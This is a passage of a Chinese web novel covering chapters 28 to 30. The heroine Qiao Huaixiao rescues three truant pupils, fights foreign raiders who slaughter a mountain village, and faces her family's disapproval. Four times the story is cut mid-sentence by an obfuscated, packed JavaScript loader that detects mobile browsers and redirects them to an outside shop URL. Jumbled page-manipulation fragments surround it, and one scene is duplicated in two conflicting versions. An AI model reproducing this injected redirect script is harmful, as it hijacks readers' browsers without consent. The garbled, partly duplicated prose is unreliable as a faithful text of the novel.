因此谢昱行在冯万季的事情上的隐瞒是她无法容忍的,她觉得那是轻视,即使是以保护之名,那还是轻视。 诚义堂的门出现,乔怀潇的思绪回拢,她站定,缓了缓心神,伸手朝前推门。 不过还没等她的手碰到,一阵风就替她吹开了门,晨风吹门而过,将稚童的读书声送到她的耳畔。 只是这读书声略小了些,乔怀潇走进去,突然察觉到有三个空座位。 “这三个座位是谁的?他们还没来吗?”乔怀潇皱眉。 学生们纷纷放下手中的书,叽叽喳喳的向乔怀潇告状:“是王羌他们三个,肯定是睡过了头,要不就溜去玩了。” “他们家在住哪儿?”乔怀潇问完,只见他们大眼瞪小眼说不出个所以然来,转身就要去找直学问一问,这时,坐在角落的一个小孩小声说道:“昨天我听见他们说要去云连山上挖土,拿来种桂花树,种活了好卖钱。” 乔怀潇猛地转头,这才发现摆在高台上的花瓶空空荡荡,她插在花瓶里的那枝桂花枝早已不见了踪影。 “阿羌!”“福子!”学堂外传来叫喊声,两对中年夫妇从外面冲了进来,他们的目光扫过堂内,没有看到自家的孩子,一个壮汉冲到乔怀潇的面前喊道:“你都教了阿羌些什么?昨天回家他就不对劲,还说今天要早早的来学堂,让我不用叫他,结果早上进他屋子发现,他昨天根本就没有在家睡觉!” “我找遍了地方都没找到他,他去哪儿啊!”另一个妇人急得发狂,恶狠狠的抓住乔怀潇的手,“我家孩子要是有个三长两短我饶不了你,你就是罪魁祸首,你们必须给我找到他!” 乔怀潇推开妇人的手朝外走去,“他们大概去了云连山,你去报官,我先去找人。” ……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101758|136210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “娘,我睡啦,明天我自己去上学,不用叫我。”王羌朝外喊去,吹灭了油灯躺上床。 没一会儿,外头磨豆子的声音停了,紧接着传来一阵开门关门的声音,王羌知道那是他爹娘回房歇下了。又等了一会儿,他从床上爬起来,耳朵贴到墙壁上听着隔壁的动静,确定他爹娘都睡着了,把早就收拾好的小包袱背上,蹑手蹑脚的出了门。 王羌和包福、齐保在约好的地方碰面,三人一齐朝着云连山的方向走去。 夜很深,但三个人走在一起,胆子就变得很大,包福拎着扁担,担上两个空竹筐摇摇晃晃,“俺娘老是骂俺不干活,瞧着吧,等咱们兄弟挖了土来种活了桂花树,保管她没话说,说不定每天的鸡蛋都给俺吃。” 王羌胖藕似的胳膊上挂着包袱,他摸索了一阵,从里面摸出一个火折子吹亮了,小小的照亮的路,“反正只要种活了树,钱就来了,有了钱,我爹娘就不用天天起早摸黑的磨豆腐了,我也不用读书了。” 齐保只顾着低头走路,附和着他们,“你们说的对,云连山我还没去过哩。” 但到底是十多岁的孩子,走到山脚就有些累了,于是三人又在路旁的空庙小小的休息了一会儿,再接着上山。他们是计划好了的,趁着夜晚偷溜出门来,直接去山上挖了黑土就下来,还能赶到学堂早上上课,这样谁都发现不了。 但没想到等他们朝山上走到时候,云连山上起了大雾,三米之外是树还是石头都分不清了。 王羌强装镇定,在原地坐下,掏出包袱里的饼子分给齐保和包福吃,“没事,我们先吃点东西,就在这儿挖土带走,我看不用上山头,这的土也算的上黑。” 齐保向来以他们马首是瞻,点了点头,包福却开始觉得有些害怕,他搓了搓手臂,“天都开始亮了,要不咱们回去吧,这里空荡荡的,怪吓人的。” “到都到了,你想空着手回去啊?”王羌蹲下去,就用他的小胖手把地上的土扒拉进筐,“很快的,装点土我们就回去了,快点的!” 他吼了一声,包福扁了扁嘴,蹲了下去,但还没开始挖,他就觉得不远处闪过了什么东西。 包福搓了搓眼睛,推了推齐保,“你看见了吗?” “什么?”齐保看向包福,包福的视线越过他,看着他的背后,声音都开始发颤,“羌哥!那……那后面是熊。” 王羌被他说的一激灵,猛地回头看去,但在一片白色浓郁的雾中,分明什么也没有,他老气横秋的瞪了一眼包福,“你瞎叫什么,云连山不过就是离西边近了点,我可从来没听说过有熊。” 他刚说完,就见白雾后出现了数个黑影,渐渐逼近,包福指着越来越清晰的黑影说道:“看,是不是,俺没说谎,咱们,咱们快跑!” “小朋友,我们不是坏人,别怕。”那些黑影变成了人影,传出了人声。 五六个高大的男人走了出来,说话的男人朗目疏眉,目光在几个小豆丁身上穿梭,“大早上的,你们怎么在这儿不回家?” 28. 土匪 “什么?”齐保看向包福,包福的视线越过他,看着他的背后,声音都开始发颤,“羌哥!那……那后面是熊。” 王羌被他说的一激灵,猛地回头看去,但在一片白色浓郁的雾中,分明什么也没有,他老气横秋的瞪了一眼包福,“你瞎叫什么,云连山不过就是离西边近了点,我可从来没听说过有熊。” 他刚说完,就见白雾后出现了一个巨大的黑影,渐渐逼近,包福指着越来越清晰的黑影说道:“看,是不是,俺没说谎,咱们,咱们快跑!” 王羌和齐保转头看去,两人的脸色都唰的一下变白,他们甚至顾不上带来的包袱和扁担,抬脚就要跑。 距离越来越近,那个大黑影变成了两个人影,传出了人声,“小朋友,我们不是坏人,别怕。” 一个男人的背上背着把刀,他掺着身旁一瘸一拐的人走出来,说道:“我这兄弟不小心摔断了腿,又迷路了,你们能带我们下山吗?” 包福和齐保停下动作,两人对视一眼,正要摇头拒绝,王羌按住了他们,“可以,但是我们走不动了,你们得帮我们搬这两筐土。” 男人的视线转向地上散落的箩筐,毫不犹豫的点头,“当然可以了,你们快带路。” 王羌看着男人担起了箩筐,向包福和齐保摆摆手,示意他们一起在前头带路。 三人并肩并肩走着,包福不禁对王羌竖了个大拇指,“还是你聪明,刚好我扛那箩筐扛累了,这下有人帮我们了。” 但下一秒,包福就听见王羌压低了声音说道:“我数三二一之后就一起跑。” “什么?” 王羌已经和齐保对过眼神,“三,二,一,跑!” 齐保拉着王羌,王羌扯过包福,瞬间抬脚朝山下跑去。 “嘿,这小兔崽子!”包福能听见后面男人甩下扁担后的吼叫,他回过头一看,白雾已经散去了一些,原本那个断了腿的人站得笔直,他面目狰狞的抽出背后的大刀,快步冲着他们而来,包福心下一悚,猛地大喊:“山匪来了!” …… 王羌几人的父母急得逼到了文诚堂,乔怀潇也实在没想到那天随口一说,竟然让几个小孩就冲上了云连山,她迅速带上一队身手好的伙计,赶赴云连山。 “小帮主,他们几个孩子真有那个胆子去云连山吗?就算去了,那地方那么大,等我们到东边,他们去了西边,这怎么搜?”伙计说道。 “去了才知道,云连山虽然不远,但是他们几个孩子,总不会爬到最上面,多半是顺着平常上山的路线走的。”乔怀潇把那柄没有剑鞘的剑带来了,她的剑锋削过路边挡路的灌木,“走这条小路,更快到云连山。” 乔怀潇抹了把头上的汗,朝后看看,保证没有人掉队后加快了速度。 她走在最前面,四周都是树林草堆,但本该是清新的空气里混入了一丝血腥气,“怎么有血腥味?” 伙计猛地一惊,四处查看起来,“会不会是他们……” “可能只是受伤的动物,气味是从前面传来的,我们过去,小心点。”气味越来越重,乔怀潇不想做最坏的打算,但这血腥气不像是动物的,她握紧手中的剑,挑开了灌木的遮挡。 地上躺着的人影进入她们的视线。 “是个受伤的男人。”虽然不是那三个孩子,但乔怀潇并没有松一口气。 伙计倒是放下了戒心,凑过去查看男人的伤势,却在看清男人的脸之后大惊失色,“这不是罗大哥嘛!” 乔怀潇脸色一变,快步走上前,“他不是在波利打听消息吗,怎么会倒在这儿?” 罗树瘫倒在地上,浑身上下都是细小的刮伤,右腿折成一个正常人不会有的弧度,伤势很重。 “罗大哥,罗大哥!罗树!”伙计喊了几声罗树都没有醒,乔怀潇扯开他的衣领一看,肩头一道极深的刀痕,血还在不停的流出来。 乔怀潇从衣角扯下一片布料,十分迅速的把布料绕过罗树的肩头,在伤口处绑紧,她拍拍罗树的脸,“罗树,罗树,听得见我们说话吗?” 罗树眉头紧皱,眼皮一直在动,但就是没有睁开眼睛,嘴里因痛发出无意识的呢喃。 “小帮主,我们回去吧,罗大哥伤的这么严重,必须尽快回去送医!”伙计脸色急迫,“等我们把罗大哥送到再回来也不迟,说不定那几个小屁孩已经安全回去了。” 所有人都在看着乔怀潇,等着她给出一个决断。 乔怀潇看了一眼近在咫尺的云连山,“你们送罗树回去。” “那小帮主你呢?” “我要进云连山。” 乔怀潇从袖子里取出一个圆筒信号拉响,信号飞上天在空中炸响,绽放出雁帮联系独有的紫藤花样,“看罗树的伤,他是被人砍了一刀之后从山上推下来的,山上一定有歹人,他们几个小孩说不定还在山上,我不能就这么走了。” “山上有贼人就更不行了,小帮主你一个人怎么敌得过他们,我们一起回去,回去搬了救兵再来岂不是更稳妥?”伙计脸上都急出汗了。 “多说无益。”乔怀潇执剑而立,“云连山我比你们熟得多,你们快走。” 伙计略有迟疑,紧接着,两个伙计一左一右架起罗树,剩下的五人说道:“这样,他们两个送罗大哥回去,我们和您一起去。” 乔怀潇视线扫过他们,点了点头,她扬起手中利剑,挥开前路荆棘,朝云连山走去。 但明明离受重伤的罗树越远,乔怀潇却越觉得血腥味重,明明是艳阳高照的青天白日,乔怀潇却觉得云连山不似往日的怡静,她嗅到了血雨腥风之气。 乔怀潇侧头朝后面示意警戒,朝前的步子变得谨慎,直到一个村落出现在眼前。她一怔,随后几乎是放弃了掩藏径直跑了过去。 她不是一瞬间就看清村落里的情形的,地上的血成片成片的浸染着土地,有歪倒在地上被砍中后背的,有被刺中腹部朝后挂在篱笆上的,乔怀潇见到的是被残暴杀死的人。 “这……这里发生了什么?”伙计的声音发颤,但很快他意识到不是发生了什么,这些屠杀正在发生,还没有结束。 乔怀潇看见了一双双如狼般猩红的眼,她看去,只见骑在马上的大汉们高扬着手中的屠刀,嘴里喊着听不懂的口号,盯住了她们。 “我和你们这群土匪拼了!”村落里还有四个力壮的男人,抄起一旁的铁锹冲了上去,但大汉坐在马上从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150065|136210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上往下的砍了下去,血瞬间迸了出来,溅落在乔怀潇的脸上,还是热的。 乔怀潇猛地喊道:“斩马腿,摔下马后再杀他!” 乔怀潇带来的伙计多是在镖局干过的,眼见着骇人场景,心中烈血狂飙,只知道背水一战方有一线生机,抽出短刀冲了上去。 乔怀潇首当其冲,她扯过摔倒在地上的村民,躲过了马蹄的践踏,随后在马来不及调转方向之时,一剑砍中了马脚筋。 土匪坐下的马开始颤抖,支撑不住的朝下跪去,乔怀潇绕到马的右侧躲过了土匪朝下砍来的刀,与此同时,她将长剑换到左手,朝左下方狠狠砍在土匪的背上。 血又是喷涌而出,溅落在乔怀潇的眼皮上,她颤动着睫毛,血沿着睫毛而滑下,乔怀潇的心底在此刻叫嚣着,还不够,还完全不够。她觉得这把剑在见血之后变得十分顺手。 身旁的村民尸体刺激着她,乔怀潇收回剑,片刻不停的奔向下一个敌人, 谢昱行赶来的时候见到的就是这样一幕,少女手中的长剑在滴血,宛若地狱修罗。 他呼吸一窒,朝后面的士兵发令,“快!抓住他们!” 谢昱行身边的妇人腿一软,双眼无神,“怎么会这样,我刚走的时候还好好的,这些,这些土匪!” 谢昱行眯了眯眼睛,“不对,他们不是单纯的土匪。” 骑在马上的大汉还有十人,为首的眼见着形势不对,朝身边的人喊了几声。 书礼听出来了,猛地喊道:“是波利语!” 乔怀潇听见了他的声音,心中狂跳不止,她的视线重新扫过这些骑兵,是了,单纯的土匪怎么会如此训练有素。 有了谢昱行带来的官兵,顷刻,骑兵就露出颓势,他们调转马头,就要撤退。 乔怀潇扯过一旁官兵赶来的马,跨步上马,谢昱行吓了一跳,对她喊道:“穷寇莫追!” 但乔怀潇早已扬起马鞭,孤身纵马闯了上去。 书礼一眨眼的功夫,谢昱行也上马追了出去,书礼猛地朝后喊道:“愣着干什么,追啊!” 骑兵的战马脚力过人,乔怀潇眼见着距离越来越大,突然瞥见坐下马背上挂着的箭袋,她将长剑放入袋中,取出弓箭,双腿夹紧马腹部维持平衡,对准骑兵为首的人,开弓射箭。 “咻!”长箭破空而去,稳且狠的插入骑兵的背部,他不堪其力,直接从马背上摔了下来。 他这一摔,后面跟着的骑兵乱了阵脚,速度骤降,乔怀潇又连射几箭,剩下的骑兵却察觉到了她的意图,不管不顾的踏过地上的同伴,争先恐后的赶马朝前逃去。 乔怀潇已经接近力竭,但发出的声音依旧令人胆战心惊,“大庆之境,休得踏足!”久久的回荡在山谷内。 她下马,长剑刺入跌落在地的骑兵, “留个活口!”谢昱行喊道。 谢昱行身后的士兵追着骑兵的尾巴而去,乔怀潇已没了力气,双膝跪倒在地,她的脑中不断闪过村落里枉死的百姓,双手握紧成拳锤在地上。 谢昱行走近,扶住她,“你还好吗?” 乔怀潇却猛地抬头,手控制不住的打向他的脸,质问:“你为什么不早来一点?” 29. 罗大娘 这一巴掌来得又快又狠,谢昱行愣在原地,乔怀潇回过神来,眼中失控的血色淡去。 谢昱行捕捉到她一闪而过的不知所措,他摸了摸红的发烫的脸颊,但乔怀潇最后什么也没说,抿了抿唇站起来。 风从林间吹过,地上躺着的骑兵在此时发出呜咽声,那是血从喉管里呛出来的声音,谢昱行立马走过去,却见骑兵手指蜷缩的力度越来越小,眼看着进气多出气少,不成活的模样。 书礼打马追了上来,“大人,村里还有三个小孩。” 乔怀潇猛地转头,“是不是十岁多的样子?” “是,他们躲在房角,刚刚拿着弹弓还想朝那些骑兵丢石头,还好被我们的人看见了拉过来了。”书礼说完,就见乔怀潇跨步上马,朝来时的方向回去。 “把骑兵尸体带上。”谢昱行嘱咐了一句,也跟了上去。 回到山脚下的村子,王羌和包福三人脏兮兮的站在乔怀潇带来的伙计后面,眼睛在看到乔怀潇的一瞬间放出光亮,对她喊道:“乔姑娘!” 乔怀潇在一瞬间仿佛看见了胖肚,三人活像等待鸟妈妈归巢的小鸟,不过眼中惶恐更甚。 包福眼中包着泪,手还在抖,齐保低着头说不出来话,王羌在三人中最有主意,此时声音也止不住的发颤,“乔姑娘还好你来了,那些山匪可吓人了,我们在山上就遇到他们,他们有一个人还装作腿瘸,想让我们带他们下山,我们觉得不对就跑了,结果一路跑他们就一路追,直到村里的人听到声音,结果他们不止两个人,骑着马就冲到了院子里。” 村民的尸体被士兵给安放在了一旁,幸存的几个村民也受了伤,靠在一旁抹眼泪。 包着头巾的妇人看着一地的鲜血,瘫倒跪在地上,她手脚并用的爬到尸体前,看见了自家丈夫的面孔,崩溃大哭。 一个抱着孩子的妇人从房门后探出头来,她捂住孩子的眼睛,小心翼翼的走了出来,她走到罗大娘面前,“还好你不在,也是逃过一劫了,这群天杀的土匪,冲进屋来把值钱的都抢了,还要杀人,作孽啊!” 罗大娘说不出话来,只一味的流泪,脸上神色越来越呆滞。 王羌踟蹰着走到她身边,他认出是早上发现他们的那位热心的大娘,一时间不知如何是好。 乔怀潇看着这一幕幕,走到死去的骑兵边,这人是被乔怀潇一剑刺穿而亡,乔怀潇抬脚,脚尖推着他的脑袋摆正,这让乔怀潇清楚看见了他耳朵上的一个小点,波利男子成年后就会在耳朵上打上这样一个耳洞。 乔怀潇脚下加了力度,将骑兵的头推到另一边,她盯着那人黑漆漆的后脑勺,不知道在想些什么。 小腿上传来束缚的感觉,乔怀潇低头一看,见到一张圆滚滚脏兮兮的脸,包福抱着她的腿,眼睛的瞳仁又圆又黑,可怜极了,“乔姑娘,我以后再不逃学了,绝对不敢了,我们赶紧回去吧。” 乔怀潇没说话,抬脚,把这个挂件撇开,谢昱行倒是听见包福的话,走过来,“我正要去长平,我们可以一起走。” 乔怀潇抬眼,清冷冷的看向他,谢昱行顿了顿,“或者我派人先送你回去,我在这善后。” 这时乔怀潇放出去的信号烟花起了作用,陈所得带着雁帮打手和长平官府的人赶到了。 他们从云边村的路口走来,无一人不惊骇,陈所得更是注意到乔怀潇脸上和身上溅到的血迹,心颤不已,“小帮主,我看到你发出的信号都要吓死了,你没事吧,这是怎么了?” “有外邦骑兵闯进来杀了他们。”乔怀潇的声音肃杀而凛冽。 “外邦?哪个外邦?”官吏看着眼前血腥的一幕,惊惧交加,要知道云边镇归长平所辖,虽然处于边界,但多年来都相安无事,怎会如此,他一下急得乱了手脚。 “肯定是波利人!我亲耳听到他们说波利话,不会错!”幸存的村民忿然喊道。 “波利可是向来和咱们大庆同气连枝,怎么会是他们?” “怎么不会,非我族类其心必异!” 谢昱行打断了他们的话,“兹事体大,要把骑兵的尸体带回去验明正身,还要上禀。”他吩咐官府的人请郎中来照看幸存的村民,驻扎在这儿进行人数的清点,他从定南带来的士兵则带着骑兵的尸体先一步入长平。 在离开前,抱着孩子的妇人拉住了乔怀潇,乔怀潇转头,妇人瑟缩了一下,她稍稍回过神来,放柔了神色,“怎么了?” 乔怀潇一身被血溅的一塌糊涂,妇人指指她身上的衣服,“姑娘要不要换外衣再走?” 乔怀潇有些意外,点了点头,跟着她走到了草房的内室,说是内室,实际上这间草房也分不出内室和外室来,一进门右侧就放着一席床一个柜子,左侧放着一个竹编摇篮,一张方桌,还有两张竹凳。 妇人把孩子放进摇篮里,从一旁的柜子里取出一身素白的麻布衣裳递给乔怀潇,“都是干净的,姑娘别嫌弃。” 乔怀潇接过衣裳,背过身去解开外衣,再把这白衣穿上,“这是我第二次借别人的衣服穿。” “什么?”妇人没听清她的话。 上一次是落水,这一次是杀人,都不是什么好事,乔怀潇摇头,朝妇人笑笑,“好在还有人愿意借我衣服穿,真是多谢。” 妇人第一次见她笑,虽然是很淡很快的笑,她仍然被这笑晃的一愣,片刻后才回神,“应该的,今天若不是姑娘愿意出手救我们,云边村恐怕都要被那些贼匪杀光了,我孤儿寡母的岂能幸存?” 乔怀潇换好衣服,她走到摇篮边,里面的小孩正伸着手在空中抓来抓去,她看上去丝毫没有被吓到,稚嫩的面孔不知世事,恬静而圆润。 王寡妇在身后对她说:“姑娘你武功高,是个有本事的,人又心善,外面那罗大娘是个苦命人,儿子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13160705|136210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常年不在家,这下丈夫也死了,看她那样子,再待在这儿是要出事的,姑娘能不能把她带上,至少先别待在这儿,若是可以,找个大夫看看,我是死过丈夫的,我知道她那样子不好过,是会把人逼疯的。” “我带她去长平。”乔怀潇的话给王寡妇吃了一颗定心丸,“你放心吧。” 乔怀潇朝外走去,王寡妇看着她的背影,久久不能回神。 外面,陈所得正擦着乔怀潇的那柄剑,手中的布顷刻由白便红,而长剑又恢复了那雪亮无尘的模样,陈所得抬起眼睛,瞧见了乔怀潇,朝她招手,“小帮主,这儿,我们回去了。” 谢昱行整好了队,前后都有士兵骑马开队和殿后,一行人缓缓向前,从云边村离开。 队伍中间是三个孩子,王羌和包福、齐保轮流搀扶着罗大娘,还有乔怀潇、雁帮的十余个伙计打手。 乔怀潇环视了一圈,谢昱行说道:“你手下没人受伤。” 乔怀潇没回他的话,余光中见到一只手伸了过来,她定了定视线,发现是谢昱行递过来一张帕子,他指了指她的脸,“脸上还有血迹,擦擦。” 乔怀潇接了过来,从眼窝到下颌,细细擦过,就在谢昱行以为她不会开口的时候,乔怀潇说:“今天是我第一次杀人。” 旭日的阳光照下,有些刺眼,谢昱行张了张嘴,听见她的后半句话,“没有杀完,不够畅快。” 谢昱行十分震惊,但又没那么震惊,因为他想起乔怀潇的这三年,他记起乔怀潇临走前对他说的话,他意识到自己的确小瞧了乔怀潇,她需要的不是被保护,相反的,她总是保护别人的那一个。 在湍急的建江,她能一头扎下水去救自己,她会为了铺子里一个丫头收到报复而愤慨,她从纨绔座下马救下陌生的小孩,她看不惯贪官污吏,她有百种方法、千种巧思,她从来不惧怕挑战,宛若翱翔在暴风雨下的海燕。 自己的确该自愧弗如,谢昱行摸上了刚刚被乔怀潇的手打过的地方。 “你是来找这三个孩子的?” 乔怀潇听见他在问自己,点了点头,原本她的计划是在找到这三人后一人一顿竹板炒肉,现在却是没有这个心力了,她突然想起谢昱行来时的样子,终于问道:“你怎么会来这儿?” “我打算从这边入长平,没想到路上遇到罗大娘想去报官,说是有孩子跑上了山,怕他们走丢。” 谢昱行的话被王羌听了个正着,心中生出无尽的惭愧,要是他们不跑上山,是不是就不会遇上那群波利人,那群波利人是不是就不会找到村子,不会有这么多人死去。 云连山离长平不算远,但在进城之前,士兵们稍作修整了一番,把骑兵的尸体藏好再带进城,免得引起恐慌。 谢昱行要去府衙,而乔怀潇听陈所得说王羌三人的父母还在学堂,带着雁帮一行人朝文诚堂而去,队伍分道而行。 30. 厉害 乔怀潇从学堂离开后,文诚堂让其他学生都休学回家了,学堂的管事请王羌和齐保的父母坐下,随后乔高湛收到消息赶来了,入坐主位,倒是没人敢再闹了,眼睛一刻不眨的看向门外。 日头偏西,阳光透过菱花窗照进堂内。突然,他们远远的听见了门外传来声音,不约而同的站起来眺望。 门外的人影渐渐清晰,王家父母和包家父母疾步跑了过去,“阿羌!”“福子!” 他们一把捞过自家孩子,上下打量,“没事吧?有没有哪伤着?” 齐保眼睛转过室内,果然没有他爹的身影,他低垂着头,余光捕捉到罗大娘的身影,便跟在乔怀潇的身后,扶着罗大娘坐到椅子上。 罗大娘一路都没言语,却在齐保搀着她的胳膊的那一刻浑身一抖,仿佛刚刚失去的力气都回来了,罗大娘一把将齐保推倒在地,“都是你!” “就是你们今天上山引来的匪人,害的我夫君命丧他们刀下,都是你们的错!”罗大娘的手指从齐保到包福再到王羌,眼里是满满的怨愤。 “什么匪人?谁死了?”乔高湛一时还没反应过来,却见罗大娘朝包福和王羌的方向猛扑过去。 “都是你们害死了我们村的人,你们要给他们偿命!” 包福和王羌浑身僵在原地,被罗大娘扯的一个踉跄,身边两人的父母回过神来立马将她推开,“你胡说什么?他们小孩子家家哪能和人命官司扯上关系,你莫不是个疯妇不成?” 包父瞪了过去,“要这么说,那今天我小儿为什么去那云连山,还不是听了乔家姑娘的话!” 陈所得抱着乔怀潇的长剑,登时喊道:“你这是什么道理?谁让他们去云连山了,还不是他们自己想逃学去。” 乔高湛脸一沉,往日的威仪又重返,他极具震慑力的叩了叩桌面,“今天到底发生了什么?!” 罗大娘头巾散开,脸上满是痛苦之色,捶胸顿足,“今天云边村的人几乎都被那波利人杀光了!” 乔高湛“腾”地一声站起来,罗大娘却没了后文,两眼一翻,晕死了过去。 “叫郎中来!”乔怀潇连忙搀住罗大娘,把罗大娘移进内室。 匆匆的脚步声在堂内响起,人影穿梭而过,乔高湛看着乔怀潇的白色衣角,深吸了一口气。 “罗大娘没事吧?”包福担忧的看向内室。 包父不大不小的轻嗤一声,“能有什么事,疯女人。” 乔高湛突然觉得束脩太低也不是一件好事,他开口道:“王羌、包福、齐保,你们……” 被点到的三人神情一凛,听到往日轻松诙谐的夫子今日的脸色十分凝重,他看着他们,不容置疑的说道:“从今天开始,你们无需再来诚义堂进学,回家静思己过。” 王羌父母立刻喊叫起来,“凭什么?许夫子,就算刚刚那人说的是真的,那贼人来袭,怎么能怪到我家孩子的身上,让我家孩子无故退学?” “就是,我们可是交了束脩的,这学还没上几天怎么就要回家了,今天的事没那么严重吧,不就是他们几个贪玩了些吗?” “不严重?你可看见了这些随从身上的点点血迹,今日若是没有他们,没有潇儿,这三个人要怎么回来?”乔高湛冷笑一声,“不光带累了旁人,更是对自己自视不清,今日也不是他们第一次逃学了,可见他们毫无进学之心,既如此,诚义堂不必再来!” “束脩自会如数送还,但所谓子不教父之过,他们三人有错,但错更在你们父母身上,毫无敬谦之心,只知道一味推卸责任,今日帮你们寻回孩子已是仁至义尽,此后莫要再扰!” “你!”王羌父亲正要反驳,被王羌扯住了袖子,王羌抬起头,眼中闪着泪光,“今天如果没有乔姑娘,我们几个都没法活着回来。” “夫子,今天都是我的错,我不该撺掇他们和我去云连山的,都是我的错,我没脸再来诚义堂了,但是他们两个都是被我逼着来的,可不可以……”王羌说道。 王父登时叫起来,“你胡说什么,你还能逼着他们去不成?” 没想到,一向寡言的齐保打断他的话,“不是,不是王羌一个人的错,这不能只怪他一个人,我可以退学。” 包福伸手挡在他们两个面前,脸上涕泗横流,抽抽噎噎的说不出话来,只一个劲的摇头。 “哎呦,你们这是做什么?”包母看得心里不是滋味。 乔高湛绷着脸,冷硬道:“送客!” 他甩开袖子走进内室,见郎中已经从后门进来了,正在给罗大娘看诊。 乔怀潇问郎中:“她怎么样了?” “心胸躁动,心悸怔忡,这是受到了多大的惊吓。”郎中摇头,“悲怔过渡,近七日都要小心照顾,千万不能再有这么大的情绪起伏,否则心序失常心脉有损,时而沉默痴呆,时而喧扰不宁,就成了我们常说的癫狂了。” 罗大娘紧闭双眼,眉头却是紧紧皱起,乔怀潇看得心里不是滋味,“还请大夫开些宁神的药方。” 郎中打开随身的药箱,“我再给她施针,待会她就能醒了。” 乔怀潇点头,看见了走进来的乔高湛,她让侍从照顾罗大娘,跟着乔高湛朝后院走去。 “今天你去正好碰波利人烧杀抢掠?”乔高湛仔细打量着乔怀潇。 “我没受伤,真的,多亏了爹给我的那柄长剑才是。”乔怀潇抿了抿唇,“这事娘知道了吗?要是她还不知道的话,不如就先别……” 她话音刚落,陶蔓就急匆匆的赶到,“先别什么?这么大的事情你难道还想瞒着我吗?” 她的身后是抱着剑的陈所得,朝乔怀潇拼命摇手。 “我虽只是一个内宅妇人,但倒也知道大是大非,那些贼匪就该杀了干净!”陶蔓走到乔怀潇的身前,“但你是我亲养的,我再了解不过,你总是太过冒进,这些年来你走南闯北我可曾阻拦过你,但你有时候太不知轻重了些,我与你父亲只有你一个,难道你不事先与我们商量了再行事吗?要是你出了好歹,要我们可怎么是好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203363|136210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 乔怀潇少有的说不出话来,顿了顿,“时不待人,有些时候总是事急从权的。” “顶破天的事,自有那些该担当的人去担当,你总要为自己想想,为父母想想。” 乔怀潇脚尖捻着地上的落叶,不见先前的运筹帷幄的样子,但落在陶蔓眼中,就是没有听进去的样子。 她早细细问过陈所得了,知道了乔怀潇在吴城和慕安时的所作所为,远比她那日归家轻描淡写说的惊险多了,今天和波利人正面对上,又想轻轻揭过,胆子实在是太大了,陶蔓气极,指着她,“从今天开始,你不许离开长平,一步都不要踏出城门,什么生意什么波利,通通和你没有关系。” 陶蔓看见了陈所得手上的长剑,眼皮一跳,“这剑你也别想再拿出来!”她扯过剑,看一眼都嫌弃的扔到身后侍从的手上,转身离开。 “你母亲也是担心你,为了你好。”乔高湛拍了拍乔怀潇的肩膀,但乔怀潇一声不吭,和陶蔓反方向离开了诚义堂。 乔高湛看左右看看她们两个的背影,叹了一口气。 陈所得追上乔怀潇,觑着她的神色,“小帮主,夫人就是这样,你别生气。” “我没生气。”乔怀潇加快脚步,“罗树是不是先一步送到了雁馆?” “是啊是啊。”陈所得点头,“是要去看罗大哥,他确实伤得挺重的。” 太阳在街的另一头,渐渐有落下的趋势,乔怀潇朝着雁馆的方向走去,她确实没有为陶蔓的话而感到生气,而是有些伤心。 她主动出击,击退敌人,救回那几个孩子,难道不是一件值得被称赞的事情吗?为什么她的身边没有一个人夸赞她的勇气呢? 就算倒回去说最开始,她决定孤身去追汪成连,她不也解决了他制造出来的麻烦?吴锦和冯万季的嚣张贪腐,她也不设局使得他们身败名裂了吗? 乔怀潇一直觉得这些成功的结果足以说明一切,但她却在今天发现,即使她付出了那么多的努力,却没有得到很多的认同,王羌包福的父母没有感谢,慕安百姓会将一切归功于谢昱行,而她,永远在背后不被看见。 乔怀潇不觉得生气,只是有点感到伤心。 她站在雁馆的大门前,有一丝的犹豫,不过下一刻,大门渐开,迟彻锋利的眉眼映入眼帘。 迟彻的眉眼在看到乔怀潇的那一刻变得舒展开来,“听说你今天击退了波利贼人,真是厉害!” “波利人不是骑术精绝吗,你可要给我说说,你是怎么打得他们节节败退的。” 